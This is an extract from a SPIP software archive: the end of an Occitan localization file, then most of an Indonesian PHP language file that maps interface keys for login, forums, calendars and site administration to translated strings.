'participer_site' => 'Podètz participar a la vida d’aqueu sit e prepauar lu articles vòstres en v’inscrivent çai sota. Recebretz sus lo còup un e-mail que v’indicarà lu vòstres còdes per accedir a l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podètz prepauar un sit d’apondre a aquesta rubrica:',
// R
'repondre_article' => 'Respòndre a aquel article',
'repondre_breve' => 'Respòndre a aquela brèva',
'resultats_recherche' => 'Resultats de la cèrca',
'retour_debut_forums' => 'Retorn au començament dei forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat emb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguda',
'sur_web' => 'Sobre lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vètz la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Aquela letra recensa lu articles e brèvas publicats despí', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Veètz en linha',
'voir_squelette' => 'telecargar l’esqueleta d’aquela pàgina'
);
?>
spip_id.php 0000666 00000101503 15252547432 0006721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.kyantonius.com/spip',
'0_langue' => 'Indonesian [id]',
'0_liste' => 'kyantonius@gmail.com',
'0_mainteneur' => 'Kemas Antonius (kyantonius@gmail.com)',
// A
'access_interface_graphique' => 'Kembali ke tatap muka grafis lengkap',
'access_mode_texte' => 'Tampilkan tatap muka teks disederhana',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modifikasi artikel ini',
'admin_modifier_auteur' => 'Modifikasi penulis ini',
'admin_modifier_breve' => 'Modifikasi artikel berita ini',
'admin_modifier_mot' => 'Modifikasi kata kunci ini',
'admin_modifier_rubrique' => 'Modifikasi bagian ini',
'admin_recalculer' => 'Perbaharui halaman ini',
'afficher_trad' => 'tampilkan terjemahan',
'alerte_maj_impossible' => '<b>Peringatan!</b> Gagal memperbaharui database SQL ke versi @version@, mungkin karena ada masalah hak akses di database. Silakan hubungi ISP anda.',
'analyse_xml' => 'Pemroresan XML',
'annuler' => 'Batal',
'antispam_champ_vide' => 'Mohon biarkan kolom ini kosong:',
'articles_recents' => 'Artikel-artikel terbaru',
'avis_archive_incorrect' => 'berkas arsip bukanlah berkas SPIP yang sah',
'avis_archive_invalide' => 'berkas arsip tidak sah',
'avis_attention' => 'HATI-HATI!',
'avis_champ_incorrect_type_objet' => 'Nama kolom salah @name@ untuk obyek tipe @type@',
'avis_colonne_inexistante' => 'Kolom @col@ tidak ada',
'avis_erreur' => 'Kesalahan: lihat di bawah’;',
'avis_erreur_connexion' => 'Kesalahan koneksi',
'avis_erreur_cookie' => 'masalah cookie',
'avis_erreur_fonction_contexte' => 'Kesalahan program. Fungsi ini tidak seharusnya berada di konteks ini.',
'avis_erreur_mysql' => 'kesalahan SQL',
'avis_erreur_sauvegarde' => 'Kesalahan di backup (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Kesulitan dalam memasuki area pribadi',
// B
'barre_a_accent_grave' => 'Masukkan huruf kapital A dengan aksen ukiran',
'barre_aide' => 'Gunakan jalan pintas typografis untuk memperbaiki tampilan anda',
'barre_e_accent_aigu' => 'Masukkan huruf kapital E dengan aksen akut',
'barre_eo' => 'Masukkan sebuah oe-ligature',
'barre_eo_maj' => 'Masukkan huruf kapital EO-ligature',
'barre_euro' => 'Masukkan simbol €',
'barre_gras' => 'Ubah dalam {{tipe tebal}}',
'barre_guillemets' => 'Letakkan di antara "dua tanda kutip"',
'barre_guillemets_simples' => 'Letakkan di antara "tanda kutip tunggal"',
'barre_intertitre' => 'Ubah ke {{{subheading}}}',
'barre_italic' => 'Ubah dalam tipe {miring}',
'barre_lien' => 'Ubah dalam bentuk [tautan web->http://...]',
'barre_lien_input' => 'Silakan isi target tautan web anda (anda dapat memberikan sebuah URL internet dalam bentuk http://www.mysite.com atau cukup mencantumkan nomor artikel di situs ini).',
'barre_note' => 'Ubah ke [[Footnote]]',
'barre_quote' => '<quote>Kutip sebuah pesan</quote>',
'bouton_changer' => 'Modifikasi',
'bouton_chercher' => 'Pencarian',
'bouton_choisir' => 'Pilih',
'bouton_download' => 'Unduh', # MODIF
'bouton_enregistrer' => 'Simpan',
'bouton_radio_desactiver_messagerie_interne' => 'Non aktifkan sistem pesan internal',
'bouton_radio_envoi_annonces' => 'Kirim pengumuman editorial',
'bouton_radio_non_envoi_annonces' => 'Jangan kirim pengumuman apa pun',
'bouton_radio_non_envoi_liste_nouveautes' => 'Jangan kirim daftar berita terbaru',
'bouton_recharger_page' => 'perbaharui halaman ini',
'bouton_telecharger' => 'Unggah',
'bouton_upload' => 'Unggah', # MODIF
'bouton_valider' => 'Kirim',
// C
'cal_apresmidi' => 'siang (p.m.)',
'cal_jour_entier' => 'sehari penuh',
'cal_matin' => 'pagi (a.m.)',
'cal_par_jour' => 'kalender harian',
'cal_par_mois' => 'kalender bulanan',
'cal_par_semaine' => 'kalender mingguan',
'choix_couleur_interface' => 'warna',
'choix_interface' => 'pilihan tatap muka',
'colonne' => 'Kolom',
'confirm_changer_statut' => 'Konfirmasi dibutuhkan: Anda telah memohon untuk mengganti status artikel ini. Apakah anda ingin menindaklanjutinya?',
'correcte' => 'benar',
// D
'date_aujourdhui' => 'hari ini',
'date_avant_jc' => 'B.C.',
'date_dans' => 'dalam @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'besok',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ at @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'on @nomjour@ @date@',
'date_heures' => 'jam',
'date_hier' => 'kemarin',
'date_il_y_a' => '@delai@ yang lalu',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Minggu',
'date_jour_1_abbr' => 'Mgu.',
'date_jour_1_initiale' => 'M.',
'date_jour_2' => 'Senin',
'date_jour_2_abbr' => 'Sen',
'date_jour_2_initiale' => 'S.',
'date_jour_3' => 'Selasa',
'date_jour_3_abbr' => 'Sel.',
'date_jour_3_initiale' => 'S.',
'date_jour_4' => 'Rabu',
'date_jour_4_abbr' => 'Rab.',
'date_jour_4_initiale' => 'R.',
'date_jour_5' => 'Kamis',
'date_jour_5_abbr' => 'Kam.',
'date_jour_5_initiale' => 'K.',
'date_jour_6' => 'Jumat',
'date_jour_6_abbr' => 'Jum.',
'date_jour_6_initiale' => 'J.',
'date_jour_7' => 'Sabtu',
'date_jour_7_abbr' => 'Sab.',
'date_jour_7_initiale' => 'S.',
'date_jours' => 'hari',
'date_minutes' => 'menit',
'date_mois' => 'bulan',
'date_mois_1' => 'Januari',
'date_mois_10' => 'Oktober',
'date_mois_11' => 'November',
'date_mois_12' => 'Desember',
'date_mois_2' => 'Februari',
'date_mois_3' => 'Maret',
'date_mois_4' => 'April',
'date_mois_5' => 'Mei',
'date_mois_6' => 'Juni',
'date_mois_7' => 'Juli',
'date_mois_8' => 'Agustus',
'date_mois_9' => 'September',
'date_saison_1' => 'musim dingin',
'date_saison_2' => 'musim semi',
'date_saison_3' => 'musim panas',
'date_saison_4' => 'musim gugur',
'date_semaines' => 'minggu',
'dirs_commencer' => ' untuk memulai proses instalasi sesungguhnya',
'dirs_preliminaire' => 'Pendahuluan: <b>Mengatur hak akses</b>',
'dirs_probleme_droits' => 'Masalah dalam hak akses',
'dirs_repertoires_absents' => '<b>Direktori-direktori berikut tidak ditemukan: <ul>@bad_dirs@.</ul> </b>
<p>Kemungkinan penyebabnya adalah penggunaan huruf besar atau kecil.
Pastikan bahwasanya huruf besar dan kecil dari direktori ini sesuai dengan yang ditampilkan
di atas; jika tidak, ubah nama direktori menggunakan klien FTP untuk memperbaiki kesalahan.
</p><p>Setelah ini selesai, anda dapat</p>',
'dirs_repertoires_suivants' => '<b>Direktori-direktori berikut tidak memiliki hak akses tulis: <ul>@bad_dirs@.</ul> </b>
<p>Untuk menggantinya, gunakan klien FTP anda untuk menset hak akses setiap
direktori tersebut. Prosedur secara rinci dapat dilihat di manual instalasi.
</p><p>Setelah anda selesai melakukannya, anda dapat </p>',
'double_occurrence' => 'Entri ganda', # MODIF
// E
'envoi_via_le_site' => 'Dikirim melalui situs',
'erreur' => 'Kesalahan',
'erreur_balise_non_fermee' => 'tag terakhir tidak ditutup:',
'erreur_texte' => 'kesalahan',
// F
'fichier_introuvable' => 'Berkas tidak ditemukan: @fichier@',
'form_deja_inscrit' => 'Anda telah terdaftar.',
'form_email_non_valide' => 'Alamat e-mail anda tidak sah.',
'form_forum_access_refuse' => 'Anda tidak memiliki akses ke situs ini lagi.',
'form_forum_bonjour' => 'Salam sejahtera @nom@,',
'form_forum_email_deja_enregistre' => 'Alamat e-mail ini telah terdaftar, oleh karenanya anda dapat menggunakan kata sandi anda.',
'form_forum_identifiant_mail' => 'Pengidentifikasi baru anda telah dikirimkan kepada anda melalui e-mail.',
'form_forum_identifiants' => 'Pengidentifikasi pribadi',
'form_forum_indiquer_nom_email' => 'Masukkan nama dan alamat e-mail anda. Anda akan menerima pengidentifikasi pribadi anda segera melalui e-mail.',
'form_forum_login' => 'log masuk:',
'form_forum_message_auto' => '(ini adalah sebuah pesan terotomasi)',
'form_forum_pass' => 'kata sandi:',
'form_forum_probleme_mail' => 'Permasalahan e-mail: pengidentifikasi tidak dapat dikirim.',
'form_forum_voici1' => 'Ini pengidentifikasi anda untuk berpartisipasi dalam kehidupan situs
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Ini pengidentifikasi anda untuk mengirimkan artikel untuk situs "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Silakan masukkan alamat e-mail anda.',
'form_indiquer_nom' => 'Silakan masukkan nama anda.',
'form_indiquer_nom_site' => 'Silakan masukkan nama situs anda.',
'form_pet_deja_enregistre' => 'Situs ini telah terdaftar',
'form_pet_signature_pasprise' => 'Tanda tangan anda tidak dihiraukan.',
'form_prop_confirmer_envoi' => 'Konfirmasi dispatch',
'form_prop_description' => 'Deskripsi/komentar',
'form_prop_enregistre' => 'Proposal anda telah disimpan, dan akan muncul secara online setelah divalidasi oleh administrator situs ini.',
'form_prop_envoyer' => 'Kirim sebuah pesan',
'form_prop_indiquer_email' => 'Silakan masukkan alamat e-mail yang sah',
'form_prop_indiquer_nom_site' => 'Silakan masukkan nama situs.',
'form_prop_indiquer_sujet' => 'Silakan masukkan sebuah subyek',
'form_prop_message_envoye' => 'Pesan terkirim',
'form_prop_non_enregistre' => 'Proposal anda tidak disimpan.',
'form_prop_sujet' => 'Subyek',
'form_prop_url_site' => 'URL situs', # MODIF
'forum_non_inscrit' => 'Anda belum terdaftar atau alamat atau kata sandi yang salah.',
'forum_par_auteur' => 'oleh @auteur@',
'forum_titre_erreur' => 'Kesalahan...',
// I
'ical_texte_rss_articles' => 'Alamat berkas sindikasi artikel situs adalah:',
'ical_texte_rss_articles2' => 'Selain itu, anda juga dapat memperoleh berkas sindikasi untuk artikel dari setiap bagian situs:',
'ical_texte_rss_breves' => 'Selanjutnya, terdapat sebuah berkas yang berisikan artikel berita situs. Dengan memilih satu nomor bagian, anda dapat memperoleh artikel berita dari bagian tersebut.',
'icone_a_suivre' => 'Papan peluncur',
'icone_admin_site' => 'Administrasi situs',
'icone_agenda' => 'Kalender',
'icone_aide_ligne' => 'Bantuan',
'icone_articles' => 'Artikel',
'icone_auteurs' => 'Penulis',
'icone_brouteur' => 'Jelajah cepat',
'icone_configuration_site' => 'Konfigurasi',
'icone_configurer_site' => 'Konfigurasi situs anda',
'icone_creer_nouvel_auteur' => 'Buat seorang penulis baru',
'icone_creer_rubrique' => 'Buat sebuah bagian',
'icone_creer_sous_rubrique' => 'Buat sebuah sub bagian',
'icone_deconnecter' => 'Log keluar',
'icone_discussions' => 'Diskusi',
'icone_doc_rubrique' => 'Lampiran',
'icone_ecrire_article' => 'Tulis artikel baru',
'icone_edition_site' => 'Edit situs',
'icone_gestion_langues' => 'Manajemen bahasa',
'icone_informations_personnelles' => 'Informasi pribadi',
'icone_interface_complet' => 'tatap muka lengkap',
'icone_interface_simple' => 'Tatap muka disederhana',
'icone_maintenance_site' => 'Pemeliharaan situs',
'icone_messagerie_personnelle' => 'Sistem pesan pribadi',
'icone_repartition_debut' => 'Tampilkan distribusi dari awal',
'icone_rubriques' => 'Bagian',
'icone_sauver_site' => 'Backup situs',
'icone_site_entier' => 'Seluruh situs',
'icone_sites_references' => 'Situs-situs referensi',
'icone_statistiques' => 'Statistik situs',
'icone_suivi_activite' => 'Tindak lanjut aktivitas situs',
'icone_suivi_actualite' => 'Statistik situs',
'icone_suivi_pettions' => 'Kelola petisi',
'icone_suivi_revisions' => 'Revisi artikel',
'icone_supprimer_document' => 'Hapus dokumen ini',
'icone_supprimer_image' => 'Hapus gambar ini',
'icone_tous_articles' => 'Semua artikel anda',
'icone_tous_auteur' => 'Semua penulis',
'icone_visiter_site' => 'Kunjungi situs', # MODIF
'icone_voir_en_ligne' => 'Lihat online',
'img_indisponible' => 'gambar tidak tersedia',
'impossible' => 'tidak mungkin',
'info_a_suivre' => 'PAPAN PELUNCUR»',
'info_acces_interdit' => 'Akses terlarang',
'info_acces_refuse' => 'Akses ditolak',
'info_action' => 'Aksi: @action@',
'info_administrer_rubriques' => 'Anda dapat mengelola bagian ini dan sub-sub bagiannya',
'info_adresse_non_indiquee' => 'Anda tidak menentukan sebuah alamat untuk dites!',
'info_aide' => 'BANTUAN:',
'info_ajouter_mot' => 'Tambahkan kata kunci ini',
'info_annonce' => 'PENGUMUMAN',
'info_annonces_generales' => 'Pemberitahuan umum:',
'info_article_propose' => 'Artikel dikirim',
'info_article_publie' => 'Artikel dipublikasi',
'info_article_redaction' => 'Artikel dalam proses',
'info_article_refuse' => 'Artikel ditolak',
'info_article_supprime' => 'Artikel dihapus',
'info_articles' => 'Artikel',
'info_articles_a_valider' => 'Artikel yang akan divalidasi',
'info_articles_proposes' => 'Artikel dikirim',
'info_auteurs_nombre' => 'penulis:',
'info_authentification_ftp' => 'Ototentikasi (dengan FTP).',
'info_breves_2' => 'berita',
'info_connexion_refusee' => 'Koneksi ditolak',
'info_contact_developpeur' => 'Silakan hubungi pengembang.',
'info_contenance' => 'Situs ini berisikan:',
'info_contribution' => 'kontribusi forum', # MODIF
'info_copyright' => '@spip@ adalah piranti lunak bebas yang didistribusi @lien_gpl@.',
'info_copyright_doc' => 'Untuk informasi lebih lanjut, kunjungi <a href="@spipnet@">http://www.spip.net/en</a>.', # MODIF
'info_copyright_gpl' => 'di bawah lisensi GPL',
'info_cours_edition' => 'Artikel anda dalam proses',
'info_creer_repertoire' => 'Silakan buat sebuah berkas atau direktori yang diberi nama:',
'info_creer_repertoire_2' => 'dalam sub directori <b>@repertoire@</b>, kemudian',
'info_creer_vignette' => 'pembuatan otomatis gambar kecil',
'info_deplier' => 'Tidak dilipat',
'info_descriptif_nombre' => 'deskripsi:',
'info_description' => 'Deskripsi:',
'info_description_2' => 'Deskripsi:',
'info_dimension' => 'Ukuran:',
'info_ecire_message_prive' => 'Tulis pesan pribadi',
'info_email_invalide' => 'Alamat e-mail tidak sah.',
'info_en_cours_validation' => 'Artikel anda dalam proses',
'info_en_ligne' => 'Online sekarang:',
'info_envoyer_message_prive' => 'Kirim pesan pribadi ke penulis ini',
'info_erreur_requete' => 'Kesalahan dalam query:',
'info_erreur_squelette2' => 'Tidak ada templat <b>@fichier@</b>...',
'info_erreur_systeme' => 'Kesalahan sistem (errno @errsys@)',
'info_erreur_systeme2' => 'Hard disk kemungkinan penuh atau database rusak. <br />
<span style="color:red;">coba <a href=\'@script@\'>perbaiki database</a>, atau hubungi hosting anda.</span>',
'info_fini' => 'Selesai!',
'info_format_image' => 'Format gambar yang digunakan untuk pembuatan gambar-gambar kecil: @gd_formats@.',
'info_format_non_defini' => 'format tidak dikenal',
'info_grand_ecran' => 'Tampilan besar',
'info_image_aide' => 'BANTUAN',
'info_image_process_titre' => 'Bagaimana membuat gambar-gambar kecil',
'info_impossible_lire_page' => '<b>Kesalahan!</b> Halaman tidak dapat dibaca <tt><html>@test_proxy@</html></tt> melalui proxy <tt>',
'info_installation_systeme_publication' => 'Instalasi sistem publikasi ...',
'info_installer_documents' => 'Anda dapat menginstal secara otomatis semua dokumen yang berada dalam direktori @upload@.',
'info_installer_ftp' => 'Sebagai administrator, anda dapat menginstal (dengan FTP) berkas-berkas dalam direktori @upload@ agar dapat memilih berkas langsung dari sini nantinya.',
'info_installer_images' => 'Anda dapat menginstal gambar dengan format JPEG, GIF atau PNG.',
'info_installer_images_dossier' => 'Instal gambar dalam direktori @upload@ agar dapat dipilih di sini.',
'info_interface_complete' => 'tatap muka lengkap',
'info_interface_simple' => 'Tatap muka disederhana',
'info_joindre_document_article' => 'Anda dapat melampirkan di artikel anda tipe-tipe dokumen',
'info_joindre_document_rubrique' => 'Anda dapat menambah ke bagian ini tipe-tipe dokumen',
'info_joindre_documents_article' => 'Anda dapat melampirkan di artikel anda tipe-tipe dokumen:',
'info_l_article' => 'article',
'info_la_breve' => 'artikel berita',
'info_la_rubrique' => 'bagian',
'info_langue_principale' => 'Bahasa situs utama',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'oleh @les_auteurs@',
'info_logo_format_interdit' => 'Hanya logo-logo dalam format @formats@ diperbolehkan.',
'info_logo_max_poids' => 'Logo hendaklan kurang dari @maxi@ (berkas ini @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'PESAN',
'info_message_supprime' => 'PESAN DIHAPUS',
'info_mise_en_ligne' => 'Tanggal publikasi online:',
'info_modification_parametres_securite' => 'modifikasi parameter-parameter keamanan',
'info_mois_courant' => 'Selama bulan:',
'info_mot_cle_ajoute' => 'Kata kunci berikut ditambahkan ke',
'info_multi_herit' => 'Bahasa standar',
'info_multi_langues_soulignees' => '<u>Bahasa yang digarisbawahi</u> menyediakan terjemahan untuk semua teks tatap muka. Jika anda memilih bahasa-bahasa ini, sebagian besar elemen situs umum (tanggal-tanggal, formulir-formulir) akan diterjemahkan secara otomatis. Untuk bahasa yang tidak bergaris bawah, elemen-elemen tersebut akan muncul dalam bahasa utama situs.', # MODIF
'info_multilinguisme' => 'Multi bahasa',
'info_nom_non_utilisateurs_connectes' => 'Nama anda tidak muncul di daftar pengguna yang terkoneksi.',
'info_nom_utilisateurs_connectes' => 'Nama anda muncul dalam daftar pengguna yang terkoneksi.',
'info_nombre_en_ligne' => 'Online sekarang:',
'info_non_resultat' => 'Tidak ada hasil untuk "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Anda tidak sedang menggunakan sistem pesan pribadi situs ini.',
'info_nouveau_message' => 'ANDA MEMILIKI SEBUAH PESAN BARU',
'info_nouveaux_messages' => 'ANDA MEMILIKI @total_messages@ PESAN BARU',
'info_numero_abbreviation' => 'Tidak',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Tampilan kecil',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Beberapa kata kunci ditemukan untuk "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio terotomasi:',
'info_premier_resultat' => '[@debut_limit@ hasil pertama dari @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ hasil pertama dari @total@]',
'info_propose_1' => '[@nom_site_spip@] Dikirim: @titre@',
'info_propose_2' => 'Artikel dikirim
-----------------',
'info_propose_3' => 'Artikel "@titre@" dikirim untuk publikasi.',
'info_propose_4' => 'Anda diundang untuk mengulasnya dan memberikan opini anda',
'info_propose_5' => 'dalam forum yang terkait, yang tersedia di alamat:',
'info_publie_01' => 'Artikel "@titre@" divalidasi oleh @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] DIPUBLIKASI: @titre@',
'info_publie_2' => 'Artikel dipublikasi
-----------------',
'info_rechercher' => 'Pencarian',
'info_rechercher_02' => 'Pencarian:',
'info_remplacer_vignette' => 'Ganti gambar kecil standar dengan sebuah logo yang disediakan:',
'info_sans_titre_2' => 'tidak berjudul',
'info_selectionner_fichier' => 'Anda dapat memilih sebuah berkas dari direktori @upload@',
'info_selectionner_fichier_2' => 'Pilih sebuah berkas:',
'info_supprimer_vignette' => 'hapus gambar kecil',
'info_symbole_bleu' => 'Simbol <b>biru</B> menandakan sebuah <b>memo</B>: yakni sebuah pesan untuk penggunaan pribadi anda.',
'info_symbole_jaune' => 'Simbol <b>kuning</B> menandakan sebuah <b>pengumuman untuk semua edtor</B>: dapat diedit oleh semua administrator, dan muncul pada semua editor.',
'info_symbole_vert' => 'Simbol <b>hijau</B> menandakan <b>pesan yang diperoleh dari pengguna lainnya</B> di situs.',
'info_telecharger_nouveau_logo' => 'Unggah logo baru:',
'info_telecharger_ordinateur' => 'Unggah dari komputer anda:',
'info_tous_resultats_enregistres' => '[semua hasil disimpan]',
'info_tout_afficher' => 'Tampilkan semua',
'info_travaux_texte' => 'Situs ini belum dibuat. Silakan kembali beberapa waktu kemudian...',
'info_travaux_titre' => 'Situs dalam pengembangan',
'info_trop_resultat' => 'Terlalu banyak hasil untuk "@cherche_mot@"; silakan perbaiki pencarian anda.',
'info_utilisation_messagerie_interne' => 'Anda sedang menggunakan sistem pesan internal situs ini.',
'info_valider_lien' => 'validasi tautan ini',
'info_verifier_image' => ', pastikan gambar anda telah ditransfer secara benar.',
'info_vignette_defaut' => 'Gambar kecil standar',
'info_vignette_personnalisee' => 'Gambar kecil yang dikustomisasi',
'info_visite' => 'kunjungan:',
'info_vos_rendez_vous' => 'Janji-janji anda yang akan datang',
'infos_vos_pense_bete' => 'Memo anda', # MODIF
// L
'lien_afficher_icones_seuls' => 'Tampilkan icon saja',
'lien_afficher_texte_icones' => 'Tampilkan icon dan teks',
'lien_afficher_texte_seul' => 'Tampilkan teks saja',
'lien_liberer' => 'rilis',
'lien_liberer_tous' => 'bebaskan artikel-artikel ini', # MODIF
'lien_nouvea_pense_bete' => 'MEMO BARU',
'lien_nouveau_message' => 'PESAN BARU',
'lien_nouvelle_annonce' => 'PENGUMUMAN BARU',
'lien_petitions' => 'PETISI',
'lien_popularite' => 'popularitas: @popularite@%',
'lien_racine_site' => 'ROOT SITUS',
'lien_reessayer' => 'coba lagi',
'lien_repondre_message' => 'Balas pesan ini',
'lien_supprimer' => 'hapus',
'lien_tout_afficher' => 'Tampilkan semua',
'lien_visite_site' => 'kunjungi situs ini',
'lien_visites' => '@visites@ kunjungan',
'lien_voir_auteur' => 'Cek penulis ini',
'ligne' => 'Baris',
'login_acces_prive' => 'akses ke area pribadi',
'login_autre_identifiant' => 'gunakan ID lain',
'login_cookie_accepte' => 'Silakan set browser anda untuk menerimanya (paling tidak untuk situs ini).',
'login_cookie_oblige' => 'Untuk mengidentifikasi diri anda secara aman, anda harus menerima cookie.',
'login_deconnexion_ok' => 'Keluar.',
'login_erreur_pass' => 'Kesalahan kata sandi.',
'login_espace_prive' => 'area pribadi',
'login_identifiant_inconnu' => 'Pengidentifikasi "@login@" tidak dikenal.',
'login_login' => 'Log masuk:',
'login_login2' => 'Log masuk (pengidentifikasi untuk koneksi ke situs):', # MODIF
'login_login_pass_incorrect' => '(Log masuk atau kata sandi salah).',
'login_motpasseoublie' => 'lupa kata sandi?',
'login_non_securise' => 'Berhati-hatilah, formulir ini tidak aman.
Jika anda tidak ingein kata sandi anda diketahui sewaktu
melewati jaringan, aktifkan Javascript
di browser anda dan',
'login_nouvelle_tentative' => 'Percobaan baru',
'login_par_ici' => 'Anda telah terdaftar... dengan ini...',
'login_pass2' => 'Kata sandi:',
'login_preferez_refuser' => '<b>Jika anda hendak menolak cookir</b>, tersedia metode koneksi lainnya (kurang aman) yang dapat anda gunakan:',
'login_recharger' => 'perbaharui halaman ini',
'login_rester_identifie' => 'Ingat ID saya untuk beberapa hari',
'login_retour_public' => 'Kembali ke situs umum',
'login_retour_site' => 'Kembali ke situs umum',
'login_retoursitepublic' => 'kembali ke situs umum',
'login_sans_cookiie' => 'Identifikasi tanpa cookie',
'login_sinscrire' => 'daftar',
'login_test_navigateur' => 'mencoba browser/koneksi',
'login_verifiez_navigateur' => '(Bagaimana pun, verifikasi bahwasanya browser anda tidak menyimpan kata sandi anda...)',
// M
'masquer_trad' => 'sembunyikan terjemahan',
'module_fichiers_langues' => 'Berkas-berkas bahasa',
// N
'navigateur_pas_redirige' => 'Jika browser anda tidak dialihkan, klik di sini untuk lanjut.',
'numero' => 'Nomor',
// O
'occurence' => 'peristiwa',
'onglet_affacer_base' => 'Hapus database',
'onglet_auteur' => 'Penulis',
'onglet_contenu_site' => 'Isi situs',
'onglet_evolution_visite_mod' => 'Tingkat kunjungan',
'onglet_fonctions_avances' => 'Fungsi-fungsi lanjutan',
'onglet_informations_personnelles' => 'Informasi pribadi',
'onglet_interactivite' => 'Interaktivitas',
'onglet_messagerie' => 'Sistem pesan',
'onglet_repartition_rubrique' => 'Distribusi berdasarkan bagian',
'onglet_save_restaur_base' => 'Backup/pulihkan database',
'onglet_vider_cache' => 'Kosongkan cache',
// P
'pass_choix_pass' => 'Silakan pilih kata sandi baru anda:',
'pass_erreur' => 'Kesalahan',
'pass_erreur_acces_refuse' => '<b>Kesalahan:</b> anda tidak memiliki akses ke situs ini lagi.',
'pass_erreur_code_inconnu' => '<b>Kesalahan:</b> kode ini tidak sesuai dengan pengunjung yang memiliki hak akses ke situs ini.',
'pass_erreur_non_enregistre' => '<b>Kesalahan:</b> alamat <tt>@email_oubli@</tt> tidak terdaftar di situs ini.',
'pass_erreur_non_valide' => '<b>Kesalahan:</b> e-mail <tt>@email_oubli@</tt> tidak sah!',
'pass_erreur_probleme_technique' => '<b>Kesalahan:</b> e-mail ini tidak dapat dikirim karena persoalan teknis.',
'pass_espace_prive_bla' => 'Area pribadi situs ini terbuka untuk
pengunjung setelah registrasi. Sekali terdaftar,
anda dapat mengulas artikel yang sedang diproses,
mengirim artikel dan berpartisipasi dalam semua forum.',
'pass_forum_bla' => 'Anda memohon untuk berpartisipasi dalam forum
yang diperuntukkan untuk pengunjung terdaftar.',
'pass_indiquez_cidessous' => 'Masukkan di bawah alamat e-mail yang anda
gunakan mendaftar dahulu. Anda akan
menerima sebuah e-mail yang menjelaskan bagaimana anda
mendapatkan akses anda.',
'pass_mail_passcookie' => '(ini adalah pesan terotomasi)
Untuk memperoleh akses anda ke situs
@nom_site_spip@ (@adresse_site@)
Silakan kunjungi alamat berikut:
@sendcookie@
Anda dapat memasukkan kata sandi baru
dan mengakses situs kembali.
',
'pass_mot_oublie' => 'Kata sandi lupa',
'pass_nouveau_enregistre' => 'Kata sandi baru anda telah disimpan.',
'pass_nouveau_pass' => 'Kata sandi baru',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Lupa kata sandi',
'pass_quitter_fenetre' => 'Keluar dari layar ini',
'pass_rappel_login' => 'Pengingat: pengidentifikasi (log masuk) anda adalah "@login@".',
'pass_recevoir_mail' => 'Anda akan menerima sebuah e-mail yang menjelaskan bagaimana anda mendapatkan akses anda ke situs.',
'pass_retour_public' => 'Kembali ke situs umum',
'pass_rien_a_faire_ici' => 'Tidak ada yang dapat dilakukan di sini.',
'pass_vousinscrire' => 'Mendaftar dengan situs',
'precedent' => 'sebelumnya',
'previsualisation' => 'Preview',
'previsualiser' => 'Tampilkan preview',
// R
'retour' => 'Kembali',
// S
'spip_conforme_dtd' => 'SPIP menemukan bahwasanya halaman ini sesuai dengan DOCTYPE-nya:',
'squelette' => 'templat',
'squelette_inclus_ligne' => 'templat yang diikutsertakan, baris',
'squelette_ligne' => 'templat, baris',
'stats_visites_et_popularite' => '@visites@ kunjungan; popularitas: @popularite@',
'suivant' => 'selanjutnya',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
